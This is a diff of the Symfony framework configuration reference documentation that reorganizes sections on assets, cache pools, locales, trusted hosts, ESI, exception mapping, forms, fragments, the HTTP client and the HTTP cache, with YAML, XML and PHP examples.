-setting should be present in your ``test`` environment (usually via
-``config/packages/test/framework.yaml``).
+version_format
+..............
 
-.. seealso::
+**type**: ``string`` **default**: ``%%s?%%s``
 
-    For more information, see :doc:`/testing`.
+This specifies a :phpfunction:`sprintf` pattern that will be used with the
+`version`_ option to construct an asset's path. By default, the pattern
+adds the asset's version as a query string. For example, if
+``version_format`` is set to ``%%s?version=%%s`` and ``version``
+is set to ``5``, the asset's path would be ``/images/logo.png?version=5``.
 
-.. _config-framework-default_locale:
+.. note::
 
-default_locale
-~~~~~~~~~~~~~~
+    All percentage signs (``%``) in the format string must be doubled to
+    escape the character. Without escaping, values might inadvertently be
+    interpreted as :ref:`service-container-parameters`.
 
-**type**: ``string`` **default**: ``en``
+.. tip::
 
-The default locale is used if no ``_locale`` routing parameter has been
-set. It is available with the
-:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>`
-method.
+    Some CDN's do not support cache-busting via query strings, so injecting
+    the version into the actual file path is necessary. Thankfully,
+    ``version_format`` is not limited to producing versioned query
+    strings.
 
-.. seealso::
+    The pattern receives the asset's original path and version as its first
+    and second parameters, respectively. Since the asset's path is one
+    parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``);
+    however, you can prefix the asset's path using a pattern of
+    ``version-%%2$s/%%1$s``, which would result in the path
+    ``version-5/images/logo.png``.
 
-    You can read more information about the default locale in
-    :ref:`translation-default-locale`.
+    URL rewrite rules could then be used to disregard the version prefix
+    before serving the asset. Alternatively, you could copy assets to the
+    appropriate version path as part of your deployment process and forgot
+    any URL rewriting. The latter option is useful if you would like older
+    asset versions to remain accessible at their original URL.
 
-.. _reference-translator-enabled-locales:
-.. _reference-enabled-locales:
+.. _reference-assets-version-strategy:
+.. _reference-templating-version-strategy:
 
-enabled_locales
-...............
+version_strategy
+................
 
-**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+**type**: ``string`` **default**: ``null``
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
+The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>`
+applied to the assets. This option can be set globally for all assets and
+individually for each asset package:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/translation.yaml
+        # config/packages/framework.yaml
         framework:
-            enabled_locales: ['en', 'es']
+            assets:
+                # this strategy is applied to every asset (including packages)
+                version_strategy: 'app.asset.my_versioning_strategy'
+                packages:
+                    foo_package:
+                        # this package removes any versioning (its assets won't be versioned)
+                        version: ~
+                    bar_package:
+                        # this package uses its own strategy (the default strategy is ignored)
+                        version_strategy: 'app.asset.another_version_strategy'
+                    baz_package:
+                        # this package inherits the default strategy
+                        base_path: '/images'
 
     .. code-block:: xml
 
-        <!-- config/packages/translation.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <enabled-locale>en</enabled-locale>
-                <enabled-locale>es</enabled-locale>
+                <framework:assets version-strategy="app.asset.my_versioning_strategy">
+                    <!-- this package removes any versioning (its assets won't be versioned) -->
+                    <framework:package
+                        name="foo_package"
+                        version="null"/>
+                    <!-- this package uses its own strategy (the default strategy is ignored) -->
+                    <framework:package
+                        name="bar_package"
+                        version-strategy="app.asset.another_version_strategy"/>
+                    <!-- this package inherits the default strategy -->
+                    <framework:package
+                        name="baz_package"
+                        base_path="/images"/>
+                </framework:assets>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/translation.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->enabledLocales(['en', 'es']);
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
         };
 
-An added bonus of defining the enabled locales is that they are automatically
-added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
-For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
-``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
-user makes requests with a locale not included in this option, they'll see a 404 error.
+.. note::
 
-set_content_language_from_locale
-................................
+    This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-cache:
 
-If this option is set to ``true``, the response will have a ``Content-Language``
-HTTP header set with the ``Request`` locale.
+cache
+~~~~~
 
-set_locale_from_accept_language
-...............................
+.. _reference-cache-app:
 
-**type**: ``boolean`` **default**: ``false``
+app
+...
 
-If this option is set to ``true``, the ``Request`` locale will automatically be
-set to the value of the ``Accept-Language`` HTTP header.
+**type**: ``string`` **default**: ``cache.adapter.filesystem``
 
-When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
-is ignored.
+The cache adapter used by the ``cache.app`` service. The FrameworkBundle
+ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
+``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
+``cache.adapter.memcached``, ``cache.adapter.pdo`` and
+``cache.adapter.doctrine_dbal``.
 
-disallow_search_engine_index
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+There's also a special adapter called ``cache.adapter.array`` which stores
+contents in memory using a PHP array and it's used to disable caching (mostly on
+the ``dev`` environment).
 
-**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
+.. tip::
 
-If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
-(unless your own app adds that header, in which case it's not modified). This
-`X-Robots-Tag HTTP header`_ tells search engines to not index your web site.
-This option is a protection measure in case you accidentally publish your site
-in debug mode.
+    It might be tough to understand at the beginning, so to avoid confusion
+    remember that all pools perform the same actions but on different medium
+    given the adapter they are based on. Internally, a pool wraps the definition
+    of an adapter.
 
-.. _configuration-framework-trusted-hosts:
+default_doctrine_provider
+.........................
 
-trusted_hosts
-~~~~~~~~~~~~~
+**type**: ``string``
 
-**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
+The service name to use as your default Doctrine provider. The provider is
+available as the ``cache.default_doctrine_provider`` service.
 
-.. versionadded:: 7.2
+default_memcached_provider
+..........................
 
-    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
-    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
+**type**: ``string`` **default**: ``memcached://localhost``
 
-A lot of different attacks have been discovered relying on inconsistencies
-in handling the ``Host`` header by various software (web servers, reverse
-proxies, web frameworks, etc.). Basically, every time the framework is
-generating an absolute URL (when sending an email to reset a password for
-instance), the host might have been manipulated by an attacker.
+The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider``
+service.
+
+default_pdo_provider
+....................
+
+**type**: ``string`` **default**: ``doctrine.dbal.default_connection``
+
+The service id of the database connection, which should be either a PDO or a
+Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider``
+service.
+
+default_psr6_provider
+.....................
+
+**type**: ``string``
+
+The service name to use as your default PSR-6 provider. It is available as
+the ``cache.default_psr6_provider`` service.
+
+default_redis_provider
+......................
+
+**type**: ``string`` **default**: ``redis://localhost``
+
+The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider``
+service.
+
+directory
+.........
+
+**type**: ``string`` **default**: ``%kernel.cache_dir%/pools``
+
+The path to the cache directory used by services inheriting from the
+``cache.adapter.filesystem`` adapter (including ``cache.app``).
+
+pools
+.....
+
+**type**: ``array``
+
+A list of cache pools to be created by the framework extension.
 
 .. seealso::
 
-    You can read `HTTP Host header attacks`_ for more information about
-    these kinds of attacks.
+    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
 
-The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
-method might be vulnerable to some of these attacks because it depends on
-the configuration of your web server. One simple solution to avoid these
-attacks is to configure a list of hosts that your Symfony application can respond
-to. That's the purpose of this ``trusted_hosts`` option. If the incoming
-request's hostname doesn't match one of the regular expressions in this list,
-the application won't respond and the user will receive a 400 response.
+To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
 
 .. configuration-block::
 
@@ -482,7 +647,11 @@ the application won't respond and the user will receive a 400 response.
 
         # config/packages/framework.yaml
         framework:
-            trusted_hosts:  ['^example\.com$', '^example\.org$']
+            cache:
+                pools:
+                    cache.mycache:
+                        adapter: cache.adapter.redis
+                        default_lifetime: 3600
 
     .. code-block:: xml
 
@@ -496,8 +665,13 @@ the application won't respond and the user will receive a 400 response.
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:trusted-host>^example\.com$</framework:trusted-host>
-                <framework:trusted-host>^example\.org$</framework:trusted-host>
+                <framework:cache>
+                    <framework:pool
+                        name="cache.mycache"
+                        adapter="cache.adapter.redis"
+                        default-lifetime="3600"
+                    />
+                </framework:cache>
                 <!-- ... -->
             </framework:config>
         </container>
@@ -508,60 +682,119 @@ the application won't respond and the user will receive a 400 response.
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
         };
 
-Hosts can also be configured to respond to any subdomain, via
-``^(.+\.)?example\.com$`` for instance.
+adapter
+"""""""
+
+**type**: ``string`` **default**: ``cache.app``
+
+The service name of the adapter to use. You can specify one of the default
+services that follow the pattern ``cache.adapter.[type]``. Alternatively you
+can specify another cache pool as base, which will make this pool inherit the
+settings from the base pool as defaults.
+
+.. note::
+
+    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+
+clearer
+"""""""
+
+**type**: ``string``
+
+The cache clearer used to clear your PSR-6 cache.
+
+.. seealso::
+
+    For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`.
+
+default_lifetime
+""""""""""""""""
+
+**type**: ``integer`` | ``string``
+
+Default lifetime of your cache items. Give an integer value to set the default
+lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
+or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
+
+If no value is provided, the cache adapter will fallback to the default value on
+the actual cache storage.
+
+.. _reference-cache-pools-name:
+
+name
+""""
+
+**type**: ``prototype``
+
+Name of the pool you want to create.
+
+.. note::
 
-In addition, you can also set the trusted hosts in the front controller
-using the ``Request::setTrustedHosts()`` method::
+    Your pool name must differ from ``cache.app`` or ``cache.system``.
 
-    // public/index.php
-    Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']);
+provider
+""""""""
 
-The default value for this option is an empty array, meaning that the application
-can respond to any given host.
+**type**: ``string``
 
-.. seealso::
+Overwrite the default service name or DSN respectively, if you do not want to
+use what is configured as ``default_X_provider`` under ``cache``. See the
+description of the default provider setting above for information on how to
+specify your specific provider.
 
-    Read more about this in the `Security Advisory Blog post`_.
+public
+""""""
 
-.. _reference-framework-form:
+**type**: ``boolean`` **default**: ``false``
 
-form
-~~~~
+Whether your service should be public or not.
 
-.. _reference-form-enabled:
+tags
+""""
 
-enabled
-.......
+**type**: ``boolean`` | ``string`` **default**: ``null``
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+Whether your service should be able to handle tags or not.
+Can also be the service id of another cache pool where tags will be stored.
 
-Whether to enable the form services or not in the service container. If
-you don't use forms, setting this to ``false`` may increase your application's
-performance because less services will be loaded into the container.
+.. _reference-cache-prefix-seed:
 
-This option will automatically be set to ``true`` when one of the child
-settings is configured.
+prefix_seed
+...........
 
-.. note::
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-    This will automatically enable the `validation`_.
+This value is used as part of the "namespace" generated for the
+cache item keys. A common practice is to use the unique name of the application
+(e.g. ``symfony.com``) because that prevents naming collisions when deploying
+multiple applications into the same path (on different servers) that share the
+same cache backend.
 
-.. seealso::
+It's also useful when using `blue/green deployment`_ strategies and more
+generally, when you need to abstract out the actual deployment directory (for
+example, when warming caches offline).
 
-    For more details, see :doc:`/forms`.
+.. note::
 
-.. _reference-form-field-name:
+    The ``prefix_seed`` option is used at compile time. This means
+    that any change made to this value after container's compilation
+    will have no effect.
 
-field_name
-..........
+.. _reference-cache-system:
 
-**type**: ``string`` **default**: ``_token``
+system
+......
 
-This is the field name that you should give to the CSRF token field of your forms.
+**type**: ``string`` **default**: ``cache.adapter.system``
+
+The cache adapter used by the ``cache.system`` service. It supports the same
+adapters available for the ``cache.app`` service.
 
 .. _reference-framework-csrf-protection:
 
@@ -621,48 +854,47 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
-.. _config-framework-error_controller:
-
-error_controller
-~~~~~~~~~~~~~~~~
+.. _config-framework-default_locale:
 
-**type**: ``string`` **default**: ``error_controller``
+default_locale
+~~~~~~~~~~~~~~
 
-This is the controller that is called when an exception is thrown anywhere in
-your application. The default controller
-(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
-renders specific templates under different error conditions (see
-:doc:`/controller/error_pages`).
+**type**: ``string`` **default**: ``en``
 
-esi
-~~~
+The default locale is used if no ``_locale`` routing parameter has been
+set. It is available with the
+:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>`
+method.
 
 .. seealso::
 
-    You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`.
-
-.. _reference-esi-enabled:
+    You can read more information about the default locale in
+    :ref:`translation-default-locale`.
 
-enabled
-.......
+.. _reference-translator-enabled-locales:
+.. _reference-enabled-locales:
 
-**type**: ``boolean`` **default**: ``false``
+enabled_locales
+...............
 
-Whether to enable the edge side includes support in the framework.
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
 
-You can also set ``esi`` to ``true`` to enable it:
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
+        # config/packages/translation.yaml
         framework:
-            esi: true
+            enabled_locales: ['en', 'es']
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/packages/translation.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -672,74 +904,86 @@ You can also set ``esi`` to ``true`` to enable it:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:esi/>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
+        // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->esi()->enabled(true);
+            $framework->enabledLocales(['en', 'es']);
         };
 
-fragments
-~~~~~~~~~
+An added bonus of defining the enabled locales is that they are automatically
+added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
+For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
+``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
+user makes requests with a locale not included in this option, they'll see a 404 error.
 
-.. seealso::
+set_content_language_from_locale
+................................
 
-    Learn more about fragments in the
-    :ref:`HTTP Cache article <http_cache-fragments>`.
+**type**: ``boolean`` **default**: ``false``
 
-.. _reference-fragments-enabled:
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
 
-enabled
-.......
+set_locale_from_accept_language
+...............................
 
 **type**: ``boolean`` **default**: ``false``
 
-Whether to enable the fragment listener or not. The fragment listener is
-used to render ESI fragments independently of the rest of the page.
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
 
-This setting is automatically set to ``true`` when one of the child settings
-is configured.
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
 
-hinclude_default_template
-.........................
+disallow_search_engine_index
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``null``
+**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
-Sets the content shown during the loading of the fragment or when JavaScript
-is disabled. This can be either a template name or the content itself.
+If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
+(unless your own app adds that header, in which case it's not modified). This
+`X-Robots-Tag HTTP header`_ tells search engines to not index your web site.
+This option is a protection measure in case you accidentally publish your site
+in debug mode.
 
-.. seealso::
+.. _config-framework-error_controller:
 
-    See :ref:`templates-hinclude` for more information about hinclude.
+error_controller
+~~~~~~~~~~~~~~~~
 
-.. _reference-fragments-path:
+**type**: ``string`` **default**: ``error_controller``
 
-path
-....
+This is the controller that is called when an exception is thrown anywhere in
+your application. The default controller
+(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
+renders specific templates under different error conditions (see
+:doc:`/controller/error_pages`).
 
-**type**: ``string`` **default**: ``/_fragment``
+esi
+~~~
 
-The path prefix for fragments. The fragment listener will only be executed
-when the request starts with this path.
+.. seealso::
 
-.. _reference-http-client:
+    You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`.
 
-http_client
-~~~~~~~~~~~
+.. _reference-esi-enabled:
 
-When the HttpClient component is installed, an HTTP client is available
-as a service named ``http_client`` or using the autowiring alias
-:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`.
+enabled
+.......
 
-.. _reference-http-client-default-options:
+**type**: ``boolean`` **default**: ``false``
 
-This service can be configured using ``framework.http_client.default_options``:
+Whether to enable the edge side includes support in the framework.
+
+You can also set ``esi`` to ``true`` to enable it:
 
 .. configuration-block::
 
@@ -747,12 +991,7 @@ This service can be configured using ``framework.http_client.default_options``:
 
         # config/packages/framework.yaml
         framework:
-            # ...
-            http_client:
-                max_host_connections: 10
-                default_options:
-                    headers: { 'X-Powered-By': 'ACME App' }
-                    max_redirects: 7
+            esi: true
 
     .. code-block:: xml
 
@@ -766,61 +1005,43 @@ This service can be configured using ``framework.http_client.default_options``:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client max-host-connections="10">
-                    <framework:default-options max-redirects="7">
-                        <framework:header name="X-Powered-By">ACME App</framework:header>
-                    </framework:default-options>
-                </framework:http-client>
+                <framework:esi/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
-                'default_options' => [
-                    'headers' => [
-                        'X-Powered-By' => 'ACME App',
-                    ],
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
 
-    .. code-block:: php-standalone
+        return static function (FrameworkConfig $framework): void {
+            $framework->esi()->enabled(true);
+        };
 
-        $client = HttpClient::create([
-            'headers' => [
-                'X-Powered-By' => 'ACME App',
-            ],
-            'max_redirects' => 7,
-        ], 10);
+.. _framework_exceptions:
 
-.. _reference-http-client-scoped-clients:
+exceptions
+~~~~~~~~~~
 
-Multiple pre-configured HTTP client services can be defined, each with its
-service name defined as a key under ``scoped_clients``. Scoped clients inherit
-the default options defined for the ``http_client`` service. You can override
-these options and can define a few others:
+**type**: ``array``
+
+Defines the :ref:`log level </logging>` and HTTP status code applied to the
+exceptions that match the given exception class:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            http_client:
-                scoped_clients:
-                    my_api.client:
-                        auth_bearer: secret_bearer_token
-                        # ...
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
+                    log_level: 'debug'
+                    status_code: 422
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/packages/exceptions.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -830,808 +1051,895 @@ these options and can define a few others:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client>
-                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
-                </framework:http-client>
+                <framework:exception
+                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
+                    log-level="debug"
+                    status-code="422"
+                />
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'my_api.client' => [
-                        'auth_bearer' => 'secret_bearer_token',
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        // config/packages/exceptions.php
+        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+        use Symfony\Config\FrameworkConfig;
 
-    .. code-block:: php-standalone
+        return static function (FrameworkConfig $framework): void {
+            $framework->exception(BadRequestHttpException::class)
+                ->logLevel('debug')
+                ->statusCode(422)
+            ;
+        };
 
-        $client = HttpClient::createForBaseUri('https://...', [
-            'auth_bearer' => 'secret_bearer_token',
-            // ...
-        ]);
+The order in which you configure exceptions is important because Symfony will
+use the configuration of the first exception that matches ``instanceof``:
 
-Options defined for scoped clients apply only to URLs that match either their
-`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
-use default options.
+.. code-block:: yaml
 
-Each scoped client also defines a corresponding named autowiring alias.
-If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
-service into your autowired classes.
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Exception:
+                    log_level: 'debug'
+                    status_code: 404
+                # The following configuration will never be used because \RuntimeException extends \Exception
+                RuntimeException:
+                    log_level: 'debug'
+                    status_code: 422
 
-auth_basic
-..........
+You can map a status code and a set of headers to an exception thanks
+to the ``#[WithHttpStatus]`` attribute on the exception class::
 
-**type**: ``string``
+    namespace App\Exception;
 
-The username and password used to create the ``Authorization`` HTTP header
-used in HTTP Basic authentication. The value of this option must follow the
-format ``username:password``.
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-auth_bearer
-...........
+    #[WithHttpStatus(422, [
+       'Retry-After' => 10,
+       'X-Custom-Header' => 'header-value',
+    ])]
+    class CustomException extends \Exception
+    {
+    }
 
-**type**: ``string``
+It is also possible to map a log level on a custom exception class using
+the ``#[WithLogLevel]`` attribute::
 
-The token used to create the ``Authorization`` HTTP header used in HTTP Bearer
-authentication (also called token authentication).
+    namespace App\Exception;
 
-auth_ntlm
-.........
+    use Psr\Log\LogLevel;
+    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
 
-**type**: ``string``
+    #[WithLogLevel(LogLevel::WARNING)]
+    class CustomException extends \Exception
+    {
+    }
 
-The username and password used to create the ``Authorization`` HTTP header used
-in the `Microsoft NTLM authentication protocol`_. The value of this option must
-follow the format ``username:password``. This authentication mechanism requires
-using the cURL-based transport.
+The attributes can also be added to interfaces directly::
 
-.. _reference-http-client-base-uri:
+    namespace App\Exception;
 
-base_uri
-........
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
 
-**type**: ``string``
+    #[WithHttpStatus(422)]
+    interface CustomExceptionInterface
+    {
+    }
 
-URI that is merged into relative URIs, following the rules explained in the
-`RFC 3986`_ standard. This is useful when all the requests you make share a
-common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to
-every request.
+    class CustomException extends \Exception implements CustomExceptionInterface
+    {
+    }
 
-Here are some common examples of how ``base_uri`` merging works in practice:
+.. versionadded:: 7.1
 
-==========================  ==================  =============================
-``base_uri``                Relative URI        Actual Requested URI
-==========================  ==================  =============================
-http://example.org          /bar                http://example.org/bar
-http://example.org/foo      /bar                http://example.org/bar
-http://example.org/foo      bar                 http://example.org/bar
-http://example.org/foo/     /bar                http://example.org/bar
-http://example.org/foo/     bar                 http://example.org/foo/bar
-http://example.org          http://symfony.com  http://symfony.com
-http://example.org/?bar     bar                 http://example.org/bar
-http://example.org/api/v4   /bar                http://example.org/bar
-http://example.org/api/v4/  /bar                http://example.org/bar
-http://example.org/api/v4   bar                 http://example.org/api/bar
-http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
-==========================  ==================  =============================
+    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
+    on interfaces was introduced in Symfony 7.1.
 
-bindto
-......
+.. _reference-framework-form:
 
-**type**: ``string``
+form
+~~~~
 
-A network interface name, IP address, a host name or a UNIX socket to use as the
-outgoing network interface.
+.. _reference-form-enabled:
 
-buffer
-......
+enabled
+.......
 
-**type**: ``boolean`` | ``Closure``
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Buffering the response means that you can access its content multiple times
-without performing the request again. Buffering is enabled by default when the
-content type of the response is ``text/*``, ``application/json`` or ``application/xml``.
+Whether to enable the form services or not in the service container. If
+you don't use forms, setting this to ``false`` may increase your application's
+performance because less services will be loaded into the container.
 
-If this option is a boolean value, the response is buffered when the value is
-``true``. If this option is a closure, the response is buffered when the
-returned value is ``true`` (the closure receives as argument an array with the
-response headers).
+This option will automatically be set to ``true`` when one of the child
+settings is configured.
 
-cafile
-......
+.. note::
 
-**type**: ``string``
+    This will automatically enable the `validation`_.
 
-The path of the certificate authority file that contains one or more
-certificates used to verify the other servers' certificates.
+.. seealso::
 
-capath
-......
+    For more details, see :doc:`/forms`.
 
-**type**: ``string``
+.. _reference-form-field-name:
 
-The path to a directory that contains one or more certificate authority files.
+field_name
+..........
 
-ciphers
+**type**: ``string`` **default**: ``_token``
+
+This is the field name that you should give to the CSRF token field of your forms.
+
+fragments
+~~~~~~~~~
+
+.. seealso::
+
+    Learn more about fragments in the
+    :ref:`HTTP Cache article <http_cache-fragments>`.
+
+.. _reference-fragments-enabled:
+
+enabled
 .......
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
-A list of the names of the ciphers allowed for the TLS connections. They
-can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
+Whether to enable the fragment listener or not. The fragment listener is
+used to render ESI fragments independently of the rest of the page.
 
-crypto_method
-.............
+This setting is automatically set to ``true`` when one of the child settings
+is configured.
 
-**type**: ``integer``
+hinclude_default_template
+.........................
 
-The minimum version of TLS to accept. The value must be one of the
-``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
+**type**: ``string`` **default**: ``null``
 
-.. _reference-http-client-retry-delay:
+Sets the content shown during the loading of the fragment or when JavaScript
+is disabled. This can be either a template name or the content itself.
 
-delay
-.....
+.. seealso::
 
-**type**: ``integer`` **default**: ``1000``
+    See :ref:`templates-hinclude` for more information about hinclude.
 
-The initial delay in milliseconds used to compute the waiting time between retries.
+.. _reference-fragments-path:
+
+path
+....
+
+**type**: ``string`` **default**: ``/_fragment``
+
+The path prefix for fragments. The fragment listener will only be executed
+when the request starts with this path.
+
+handle_all_throwables
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+thrown by the application and will turn them into HTTP responses.
+
+html_sanitizer
+~~~~~~~~~~~~~~
+
+The ``html_sanitizer`` option (and its children) are used to configure
+custom HTML sanitizers. Read more about the options in the
+:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+
+.. _configuration-framework-http_cache:
+
+http_cache
+~~~~~~~~~~
+
+allow_reload
+............
+
+**type**: ``string``
 
-.. _reference-http-client-retry-enabled:
+Specifies whether the client can force a cache reload by including a
+Cache-Control "no-cache" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
 
-enabled
-.......
+allow_revalidate
+................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``string``
 
-Whether to enable the support for retry failed HTTP request or not.
-This setting is automatically set to true when one of the child settings is configured.
+Specifies whether the client can force a cache revalidate by including a
+Cache-Control "max-age=0" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
 
-extra
+debug
 .....
 
-**type**: ``array``
-
-Arbitrary additional data to pass to the HTTP client for further use.
-This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-.. _http-headers:
+If true, exceptions are thrown when things go wrong. Otherwise, the cache will
+try to carry on and deliver a meaningful response.
 
-headers
-.......
+default_ttl
+...........
 
-**type**: ``array``
+**type**: ``integer``
 
